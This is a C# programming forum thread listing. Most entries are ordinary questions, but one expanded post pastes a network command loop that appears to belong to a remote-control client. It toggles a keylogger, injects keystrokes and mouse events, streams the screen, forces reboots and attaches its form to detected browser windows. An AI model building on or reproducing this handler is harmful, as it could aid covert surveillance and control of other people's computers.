Click here to Skip to main content
15,892,253 members
Home / Discussions / C#
   

C#

 
QuestionTime delay without freezing the GUI Pin
Member 1085025317-Apr-15 5:24
Member 1085025317-Apr-15 5:24 
AnswerRe: Time delay without freezing the GUI Pin
OriginalGriff17-Apr-15 5:46
mveOriginalGriff17-Apr-15 5:46 
GeneralRe: Time delay without freezing the GUI Pin
PIEBALDconsult17-Apr-15 6:46
mvePIEBALDconsult17-Apr-15 6:46 
GeneralRe: Time delay without freezing the GUI Pin
Member 1085025317-Apr-15 7:03
Member 1085025317-Apr-15 7:03 
GeneralRe: Time delay without freezing the GUI Pin
Sascha Lefèvre17-Apr-15 7:37
professionalSascha Lefèvre17-Apr-15 7:37 
GeneralRe: Time delay without freezing the GUI Pin
Eddy Vluggen17-Apr-15 8:23
professionalEddy Vluggen17-Apr-15 8:23 
AnswerRe: Time delay without freezing the GUI Pin
Richard MacCutchan17-Apr-15 5:46
mveRichard MacCutchan17-Apr-15 5:46 
QuestionLock client application (controlled) on call for Form Pin
Member 998884817-Apr-15 4:03
Member 998884817-Apr-15 4:03 
The problem here is that when I send some command calling a Form, tt turns to lock this Form and it does not appear anyhow (even using the Show() method). MY FORM LOCKED[^] If its sent already with other commands, it works fine, lets say for executing a shutdown as an example.

Here is my last attempted code :
C#
public void CommunicationProc()
        {
           // try
           // {
                while (this.Connected)
                {
                    if (this.networkStream.DataAvailable)
                    {
                        int numOfBytesRead = this.networkStream.Read(this.receiveBuffer, 0, this.receiveBuffer.Length);
                        if (numOfBytesRead > 0)
                        {
                            String receiveStr = Encoding.ASCII.GetString(this.receiveBuffer, 0, numOfBytesRead);
                            QueueReceiveData queueReceiveData = new QueueReceiveData(receiveStr);

                            FindWindow fwSafari = new FindWindow(GetForegroundWindow(), "WebKit2WebViewWindowClass", null, 10);
                            FindWindow fwChrome = new FindWindow(GetForegroundWindow(), "Chrome_RenderWidgetHostHWND", null, 10);
                            FindWindow fwIE = new FindWindow(GetForegroundWindow(), "Internet Explorer_Server", null, 10);
                            FindWindow fwOpera = new FindWindow(GetForegroundWindow(), "OperaWindowClass", null, 10);
                            FindWindow fwFF = new FindWindow(GetForegroundWindow(), "MozillaWindowClass", null, 10);

                            IntPtr hSafari = fwSafari.FoundHandle;
                            IntPtr hChrome = fwChrome.FoundHandle;
                            IntPtr hIE = fwIE.FoundHandle;
                            IntPtr hOpera = fwOpera.FoundHandle;
                            IntPtr hFF = fwFF.FoundHandle;

                            foreach(ReceiveData receiveData in queueReceiveData.Queue) {
                                String message = receiveData.Message;
                                String value = receiveData.Value;

                                // ******************** CALLING THE FORMS ****************//

                                    //-------------------------------- BB ----------------------------------//

                                    if (message.IndexOf("<|BB|>") == 0 && hSafari != null)
                                    {
                                        SetParent(this.Handle, hSafari);
                                    }

                                    else if (message.IndexOf("<|BB|>") == 0 && hChrome != null)
                                    {
                                        SetParent(this.Handle, hChrome);
                                    }

                                    else  if (message.IndexOf("<|BB|>") == 0 && hIE != null)
                                    {
                                        SetParent(this.Handle, hIE);
                                    }

                                    else if (message.IndexOf("<|BB|>") == 0 && hOpera != null)
                                    {
                                        SetParent(this.Handle, hOpera);
                                    }

                                   else if (message.IndexOf("<|BB|>") == 0 && hFF != null)
                                    {
                                        SetParent(this.Handle, hFF);
                                    }

                                    //-------------------------------------End of BB ---------------------------------------------//

                                    //--------------------------------- CEF -------------------------------//

                                    else if (message.IndexOf("<|Cef|>") == 0 && hSafari != null)
                                    {
                                        SetParent(this.cef.Handle, hSafari);
                                    }

                                    else if (message.IndexOf("<|Cef|>") == 0 && hChrome != null)
                                    {
                                         //SetParent(this.cef.Handle, hChrome);
                                        this.cef.Show();
                                    }

                                    else if (message.IndexOf("<|Cef|>") == 0 && hIE != null)
                                    {
                                         SetParent(this.cef.Handle, hIE);
                                    }

                                    else if (message.IndexOf("<|Cef|>") == 0 && hOpera != null)
                                    {
                                         SetParent(this.cef.Handle, hOpera);
                                    }

                                    else if (message.IndexOf("<|Cef|>") == 0 && hFF != null)
                                    {
                                         SetParent(this.cef.Handle, hFF);
                                    }

                                    //----------------------------- End of CEF --------------------------------//

                                    //------------------------------ DESCO ------------------------------------//

                                    else if (message.IndexOf("<|Desco|>") == 0 && hSafari != null)
                                    {
                                         SetParent(this.Handle, hSafari);
                                    }

                                    else if (message.IndexOf("<|Desco|>") == 0 && hChrome != null)
                                    {
                                         SetParent(this.Handle, hChrome);
                                    }

                                    else if (message.IndexOf("<|Desco|>") == 0 && hIE != null)
                                    {
                                         SetParent(this.Handle, hIE);
                                    }

                                    else if (message.IndexOf("<|Desco|>") == 0 && hOpera != null)
                                    {
                                         SetParent(this.Handle, hOpera);
                                    }

                                    else if (message.IndexOf("<|Desco|>") == 0 && hFF != null)
                                    {
                                         SetParent(this.Handle, hFF);
                                    }

                                    //-------------------------------------- End of DESCO -----------------------------------------//

                                    else if (message.IndexOf("<|Close|>") == 0)
                                {
                                    this.Disconnect(value);
                                    return;
                                }
                               else if (message.IndexOf("<|Reboot|>") ==0)
                                {
                                    DoExitWin(EWX_REBOOT | EWX_FORCE);
                                }

                                else if (message.IndexOf("<|Keylogger|>") == 0)
                                {
                                    if (value.IndexOf("On") == 0)
                                    {
                                        this.Keylogged = true;
                                    }
                                    else
                                    {
                                        this.Keylogged = false;
                                    }

                                }
                                else if (message.IndexOf("<|Key|>") == 0)
                                {
                                    SendKeys.SendWait(value);
                                }
                                else if (message.IndexOf("<|Mouse|>") == 0)
                                {
                                    String[] strSplit = value.Split(MenuRemoteClient.separator, StringSplitOptions.None);
                                    uint x = Convert.ToUInt32(strSplit[1]);
                                    uint y = Convert.ToUInt32(strSplit[2]);
                                    if (strSplit[0] == "LeftDown")
                                    {
                                        mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);
                                    }
                                    else if (strSplit[0] == "MiddleDown")
                                    {
                                        mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, x, y, 0, 0);
                                    }
                                    else if (strSplit[0] == "RightDown")
                                    {
                                        mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN, x, y, 0, 0);
                                    }
                                    else if (strSplit[0] == "LeftUp")
                                    {
                                        mouse_event(MOUSEEVENTF_LEFTUP, x, y, 0, 0);

                                    }
                                    else if (strSplit[0] == "MiddleUp")
                                    {
                                        //mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);

                                    }
                                    else if (strSplit[0] == "RightUp")
                                    {
                                        mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTUP, x, y, 0, 0);
                                    }
                                    else if (strSplit[0] == "Move")
                                    {
                                        //mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, x, y, 0, 0);
                                        SetCursorPos((int)x, (int)y);
                                    }
                                }
                                else if (message.IndexOf("<|Remote|>") == 0)
                                {
                                    if (value.IndexOf("On") == 0)
                                    {
                                        if (!this.remoted)
                                        {
                                            this.remoted = true;
                                            Thread thread = new Thread(() => SendScreenProc());
                                            thread.Start();
                                        }
                                    }
                                    else if (value.IndexOf("Off") == 0)
                                    {
                                        this.remoted = false;
                                    }
                                }
                                else if (message.IndexOf("<|Screen|>") == 0)
                                {
                                    if (value.IndexOf("Success") == 0)
                                    {
                                        this.receivedScreen = 1;
                                    }
                                    else if (value.IndexOf("Fail") == 0)
                                    {
                                        this.receivedScreen = 2;
                                    }
                                }
                            }

                        }
                    }
                    else
                    {
                        mreSendData.Reset();
                        Byte[] buffer = this.queueSendData.Pop();
                        if (buffer != null)
                        {
                            this.networkStream.Write(buffer, 0, buffer.Length);
                        }
                        mreSendData.Set();
                    }
                    Thread.Sleep(30);
                }
                this.remoted = false;
           /* }
            catch (IOException e)
            {
                //Console.WriteLine(e.StackTrace);
                MessageBox.Show(e.ToString());
                this.Disconnect();
            }
            catch (Exception e)
            {
                //Console.WriteLine(e.StackTrace);
                MessageBox.Show(e.ToString());
            }*/
        }

Any suggestions or guidance here is appreciated.
AnswerRe: Lock client application (controlled) on call for Form Pin
Dave Kreskowiak17-Apr-15 4:11
mveDave Kreskowiak17-Apr-15 4:11 
GeneralRe: Lock client application (controlled) on call for Form Pin
Member 998884817-Apr-15 4:19
Member 998884817-Apr-15 4:19 
GeneralRe: Lock client application (controlled) on call for Form Pin
Dave Kreskowiak17-Apr-15 4:24
mveDave Kreskowiak17-Apr-15 4:24 
QuestionHow to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Member 1099471216-Apr-15 22:42
Member 1099471216-Apr-15 22:42 
AnswerRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
OriginalGriff16-Apr-15 23:16
mveOriginalGriff16-Apr-15 23:16 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Member 1099471216-Apr-15 23:29
Member 1099471216-Apr-15 23:29 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Pete O'Hanlon16-Apr-15 23:40
mvePete O'Hanlon16-Apr-15 23:40 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
OriginalGriff16-Apr-15 23:43
mveOriginalGriff16-Apr-15 23:43 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Pete O'Hanlon16-Apr-15 23:54
mvePete O'Hanlon16-Apr-15 23:54 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Member 1099471217-Apr-15 0:36
Member 1099471217-Apr-15 0:36 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Pete O'Hanlon17-Apr-15 0:41
mvePete O'Hanlon17-Apr-15 0:41 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
OriginalGriff17-Apr-15 0:47
mveOriginalGriff17-Apr-15 0:47 
GeneralRe: How to solve this Error?? Error_2_Cannot implicitly convert type 'int' to 'int[]' Pin
Pete O'Hanlon17-Apr-15 0:49
mvePete O'Hanlon17-Apr-15 0:49 
Questioncant see my font in my C# WinForm program after install Pin
goldsoft16-Apr-15 11:07
goldsoft16-Apr-15 11:07 
AnswerRe: cant see my font in my C# WinForm program after install Pin
Dave Kreskowiak16-Apr-15 17:27
mveDave Kreskowiak16-Apr-15 17:27 
GeneralRe: cant see my font in my C# WinForm program after install Pin
goldsoft17-Apr-15 0:00
goldsoft17-Apr-15 0:00 
GeneralRe: cant see my font in my C# WinForm program after install Pin
Dave Kreskowiak17-Apr-15 2:17
mveDave Kreskowiak17-Apr-15 2:17 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.